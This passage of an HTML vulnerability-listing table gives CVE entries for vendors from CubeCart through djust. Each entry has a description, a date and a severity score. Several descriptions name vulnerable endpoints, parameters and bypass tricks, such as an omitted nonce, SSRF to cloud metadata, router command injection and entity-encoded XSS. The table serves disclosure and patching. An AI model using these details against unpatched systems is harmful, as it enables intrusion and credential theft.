&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54643&quot; target=&quot;_blank&quot;&gt;CVE-2026-54643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/products.index.inc.php reads the description, description_short, and spec_copy rich-text fields from $GLOBALS[&#039;RAW&#039;][&#039;POST&#039;] and removes only script elements before the values are stored and rendered through Smarty templates. An administrator with product-editing rights can store event-handler attributes, SVG content, or javascript: URIs that bypass this filter, causing persistent JavaScript execution when a storefront visitor or another administrator views the product content and enabling session exposure or unauthorized browser-context actions. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54645&quot; target=&quot;_blank&quot;&gt;CVE-2026-54645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-882&lt;/td&gt;
&lt;td&gt;A weakness has been identified in D-Link DIR-882 up to 20260814. Impacted is the function main of the file /HNAP1/dllog.cgi of the component CGI Binary. Executing a manipulation can lead to information disclosure. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90881&quot; target=&quot;_blank&quot;&gt;CVE-2026-90881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-X1860Z&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in D-Link DIR-X1860Z up to 1.0.2.220120.165402. Affected is the function routerd.wificfg_get/routerd.get_rand_key of the component ubus JSON-RPC interface. Such manipulation leads to information disclosure. The attack must be carried out from within the local network. Upgrading to version 1.0.7.260821.161908 is able to address this issue. It is suggested to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94050&quot; target=&quot;_blank&quot;&gt;CVE-2026-94050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M921&lt;/td&gt;
&lt;td&gt;A vulnerability was found in D-Link DWR-M921 1.1.52. The impacted element is the function system of the file /boafrm/formDiskPartition. Performing a manipulation of the argument devicename results in command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90704&quot; target=&quot;_blank&quot;&gt;CVE-2026-90704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M921&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in D-Link DWR-M921 1.1.52. This affects the function formsysCmd of the file /boafrm/formsysCmd of the component Boa Dispatch Table. Executing a manipulation of the argument sysCmd can lead to os command injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90705&quot; target=&quot;_blank&quot;&gt;CVE-2026-90705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DWR-M921&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in D-Link DWR-M921 1.1.52. This impacts the function formWsc of the file /boafrm/formWsc. The manipulation of the argument targetAPSsid leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90706&quot; target=&quot;_blank&quot;&gt;CVE-2026-90706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;danieliser--Popup Maker Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder&lt;/td&gt;
&lt;td&gt;The Popup Maker - Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post_title in all versions up to, and including, 1.24.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to create a post with an HTML entity-encoded payload in the title, which bypasses sanitize_text_field on save and is later decoded and executed by the browser when rendered by the Select2 component.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15797&quot; target=&quot;_blank&quot;&gt;CVE-2026-15797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataEase--DataEase&lt;/td&gt;
&lt;td&gt;A directory Traversal vulnerability in DataEase before 1.18.10 allows a remote attacker to obtain sensitive information via a a crafted request to the StaticResourceController.java component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-40772&quot; target=&quot;_blank&quot;&gt;CVE-2023-40772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dataease--SQLBot&lt;/td&gt;
&lt;td&gt;SQLBot through 1.10.1 fails to verify dashboard ownership in update_resource and update_canvas endpoints, allowing authenticated workspace members to modify other users&#039; private dashboards. Attackers can supply arbitrary dashboard IDs to rename dashboards and overwrite component data, canvas styles, and view information belonging to other workspace members.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93660&quot; target=&quot;_blank&quot;&gt;CVE-2026-93660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;datalogics--Datalogics Ecommerce Delivery Datalogics&lt;/td&gt;
&lt;td&gt;The Datalogics Ecommerce Delivery - Datalogics plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.6.65. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create and cancel real shipping orders through the external logistics API using the store&#039;s stored authentication token, modify arbitrary WooCommerce order post meta on any order, overwrite the plugin&#039;s stored API token, and trigger shipping notification emails to customers.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9613&quot; target=&quot;_blank&quot;&gt;CVE-2026-9613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;davidanderson--Redux Framework&lt;/td&gt;
&lt;td&gt;The Redux Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Media field filter values in versions up to, and including, 4.5.13 This is due to insufficient input sanitization of nested array values in the user_meta_save() function and unsafe output of filter CSS values in the render() function without proper escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5400&quot; target=&quot;_blank&quot;&gt;CVE-2026-5400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;davidanderson--Redux Framework&lt;/td&gt;
&lt;td&gt;The Redux Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the spinner field in versions up to, and including, 4.5.13 This is due to insufficient input sanitization and output escaping. In the user_meta_save() function scalar values bypass the sanitization logic that only processes arrays, allowing the spinner field value to be stored in user meta without proper sanitization. Later, at line 56 of class-redux-spinner.php in the render() function, this value is rendered in an unquoted HTML attribute without escaping via &#039;$data_string .= &#039; data-val=&#039; . $this-&amp;gt;value;&#039;. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5410&quot; target=&quot;_blank&quot;&gt;CVE-2026-5410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dbt-labs--dbt-mcp&lt;/td&gt;
&lt;td&gt;dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.20.0, the local OAuth helper in src/dbt_mcp/oauth/fastapi_app.py exposes GET /dbt_platform_context without authentication or Host validation after a user completes the dbt Platform OAuth flow. The endpoint returns the full DbtPlatformContext, including access_token and refresh_token values persisted by the context manager, to any process that can reach 127.0.0.1:6785. The absence of TrustedHostMiddleware allows a remote attacker to use DNS rebinding against a victim&#039;s browser because the helper accepts arbitrary Host headers, while a co-located process can request the endpoint directly. The stolen tokens provide immediate dbt Platform API access as the victim and persistent access through the refresh token, allowing access to or modification of projects, jobs, environment secrets, and related account data. This issue is fixed in version 1.20.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55837&quot; target=&quot;_blank&quot;&gt;CVE-2026-55837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;decaporg--decap-server&lt;/td&gt;
&lt;td&gt;decap-server contains a path traversal vulnerability in the local proxy containment guard that uses plain string prefix comparison without path separator validation. Attackers can access sibling directories whose names begin with the repository directory name to read, write, or delete files outside the intended repository root.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92812&quot; target=&quot;_blank&quot;&gt;CVE-2026-92812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;decidim--decidim&lt;/td&gt;
&lt;td&gt;Decidim is a participatory democracy framework. Prior to 0.32.0, a low-privilege process-scoped administrator or election editor with question-management rights can store HTML or script-bearing content in question.body. The question_title helper returns the translatable question body through html_safe without a sanitization boundary, causing stored script execution when visitors open public election pages or voting booth screens. The persisted script executes in visitors&#039; browsers. The vulnerability is fixed in 0.32.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44282&quot; target=&quot;_blank&quot;&gt;CVE-2026-44282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ECS&lt;/td&gt;
&lt;td&gt;Dell ECS versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.4.0.0, contains an Improper Privilege Management vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-26947&quot; target=&quot;_blank&quot;&gt;CVE-2026-26947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Elastic Cloud Storage (ECS)&lt;/td&gt;
&lt;td&gt;Dell ECS versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.4.0.0, contains an Use of a Broken or Risky Cryptographic Algorithm vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36591&quot; target=&quot;_blank&quot;&gt;CVE-2025-36591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ObjectScale&lt;/td&gt;
&lt;td&gt;Dell ObjectScale, versions prior to 4.4.0.0, contains an Incorrect Permission Assignment for Critical Resource vulnerability in the OS. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76104&quot; target=&quot;_blank&quot;&gt;CVE-2026-76104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81443&quot; target=&quot;_blank&quot;&gt;CVE-2026-81443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Information disclosure and Information tampering.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81447&quot; target=&quot;_blank&quot;&gt;CVE-2026-81447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81453&quot; target=&quot;_blank&quot;&gt;CVE-2026-81453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Cross-Site Request Forgery (CSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80355&quot; target=&quot;_blank&quot;&gt;CVE-2026-80355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Partial String Comparison vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81479&quot; target=&quot;_blank&quot;&gt;CVE-2026-81479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81441&quot; target=&quot;_blank&quot;&gt;CVE-2026-81441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Update Package Framework&lt;/td&gt;
&lt;td&gt;Dell Update Package Framework, versions prior to 26.07.03, contains a Stack-based Buffer Overflow vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86358&quot; target=&quot;_blank&quot;&gt;CVE-2026-86358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Wyse Management Suite&lt;/td&gt;
&lt;td&gt;Dell Wyse Management Suite, versions prior to 2605.0.3.683, contain an Improper Authentication vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81237&quot; target=&quot;_blank&quot;&gt;CVE-2026-81237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dep0we--atomic-agents-stack&lt;/td&gt;
&lt;td&gt;atomic-agents-stack before 1.1.0 contains a cost-guardrail bypass in the _estimate_batch_cost function that returns zero cost for unknown models not in the pricing table. Attackers can configure deployments with unknown model identifiers to bypass daily cost caps and exceed budget limits in parallel batch operations.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91987&quot; target=&quot;_blank&quot;&gt;CVE-2026-91987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;devitemsllc--ShopLentor All-in-One WooCommerce Growth &amp;amp; Store Enhancement Plugin&lt;/td&gt;
&lt;td&gt;The ShopLentor - All-in-One WooCommerce Growth &amp;amp; Store Enhancement Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via Query-String Parameter Name in all versions up to, and including, 3.5.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability is triggered via the WL: Product Horizontal Filter widget, which reflects attacker-supplied query-string parameter names from the current URL into option element value attributes without escaping, allowing payload breakout from the value=&quot;...&quot; attribute context.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92554&quot; target=&quot;_blank&quot;&gt;CVE-2026-92554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;devpi--devpi&lt;/td&gt;
&lt;td&gt;devpi is a Python package index staging server and packaging, testing, and release tool. Prior to 6.20.2 and 7.0.0b3, a server configured with the primary or deprecated master role allows an unauthenticated, modified GET request to the +changelog route because verify_primary does not reject a missing identity and therefore fails to require ReplicaIdentity. The response can disclose complete database content, including Argon2 password hashes and identifiers and salts for devpi-tokens; exposed hashes may be subject to dictionary attacks, and public tokens may assist attempts to derive the server secret. Large responses can also consume significant CPU, input/output capacity, and bandwidth. Servers using the standalone role are not exposed through replication, and an instance served exclusively through nginx with devpi-lockdown redirects the request to login with no known exploit. This issue is fixed in devpi-server versions 6.20.2 and 7.0.0b3.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54723&quot; target=&quot;_blank&quot;&gt;CVE-2026-54723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dfir-iris--iris-web&lt;/td&gt;
&lt;td&gt;IRIS through 2.4.29 fails to properly validate case authorization in comment listing endpoints for notes, tasks, IOCs, assets, and evidence items. Attackers with access to any single case can enumerate sequential object identifiers and read comment threads from cases they have no authorization to access.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92605&quot; target=&quot;_blank&quot;&gt;CVE-2026-92605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dfpc-coe--CloudTAK&lt;/td&gt;
&lt;td&gt;CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/routes/basemap.ts to fetch(url) without resolved-address classification or redirect revalidation. BasemapProtocol.isValidURL in api/lib/interface-basemap.ts checks only the HTTP or HTTPS scheme and is not applied on the vulnerable import path. Direct internal addresses, alternate IP encodings, and redirects to internal addresses can reach cloud metadata, loopback, private, and CGNAT HTTP services. The OptionalTileJSON response reflects fields including name, attribution, and tiles[0] to the caller, making the request forgery full-read rather than blind and enabling cloud credential theft and internal service disclosure. This issue is fixed in version 13.22.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54546&quot; target=&quot;_blank&quot;&gt;CVE-2026-54546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;changedetection.io through 0.60.6 fails to escape the scraped page title in HTML notifications, allowing arbitrary markup injection. Attackers can place malicious markup in monitored page titles that reaches notification channels like email and Telegram as live content when the watch_title token is used in templates.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92814&quot; target=&quot;_blank&quot;&gt;CVE-2026-92814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products use insufficiently random values, which allows web session tokens to be predictable, bounding token entropy to the seed space.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66372&quot; target=&quot;_blank&quot;&gt;CVE-2026-66372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products are vulnerable to an authentication bypass that allows unauthenticated remote attackers to disclose sensitive device information, including administrator credentials in plaintext, by sending crafted HTTP(S) requests.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68953&quot; target=&quot;_blank&quot;&gt;CVE-2026-68953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;digitaldruid--HotelDruid&lt;/td&gt;
&lt;td&gt;HotelDruid before 3.0.6 has insufficient file upload sanitation in the backup/restore function.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-34854&quot; target=&quot;_blank&quot;&gt;CVE-2023-34854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Divi Essential--Divi Essentials&lt;/td&gt;
&lt;td&gt;The Divi Essential plugin for WordPress is vulnerable to sensitive information exposure in versions up to, and including, 5.8.1 via the dnxte_get_database_tables and dnxte_get_database_data AJAX actions. The handlers only conditionally verify a nonce (the check runs solely when the &#039;nonce&#039; POST parameter is present and can be trivially bypassed by omitting the parameter) and never call current_user_can() or otherwise enforce a capability. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate every table in the WordPress database and read up to a caller-controlled number of rows from any table - including wp_users (usernames, emails, hashed passwords), wp_usermeta (session tokens, secret keys), and wp_options (privileged settings, API keys, credentials stored by other plugins).&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15760&quot; target=&quot;_blank&quot;&gt;CVE-2026-15760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DjangoCRM--django-crm&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in DjangoCRM django-crm up to 1.2. This vulnerability affects the function BulkUpdateCasesView of the file backend/cases/bulk_views.py of the component Bulk Case Update. The manipulation leads to missing authorization. The attack is possible to be carried out remotely. Upgrading to version 1.3.0 is able to resolve this issue. The identifier of the patch is 799bb1210238f402c0c4948c8eedb6e61cd0c8d7. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90806&quot; target=&quot;_blank&quot;&gt;CVE-2026-90806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, when a Django `Model` instance is assigned to a public view attribute, djust serialized it to the client with no sensitive-field denylist - sending fields such as `password` (the hash), privilege flags (e.g. `is_staff` / `is_superuser`), tokens, and other PII to the browser. Because exposing model objects to templates is a normal djust pattern, this could leak credentials/PII without the developer realizing the full object crossed the wire. This is fixed in djust 1.0.7. Model serialization applies a secure-by-default sensitive-field denylist (password/hash/token/secret-style fields and known privilege flags are withheld) with an identity-subset fallback. As a workaround, keep `Model` instances on `_private` attributes and expose only the specific fields needed, until patched.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61588&quot; target=&quot;_blank&quot;&gt;CVE-2026-61588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
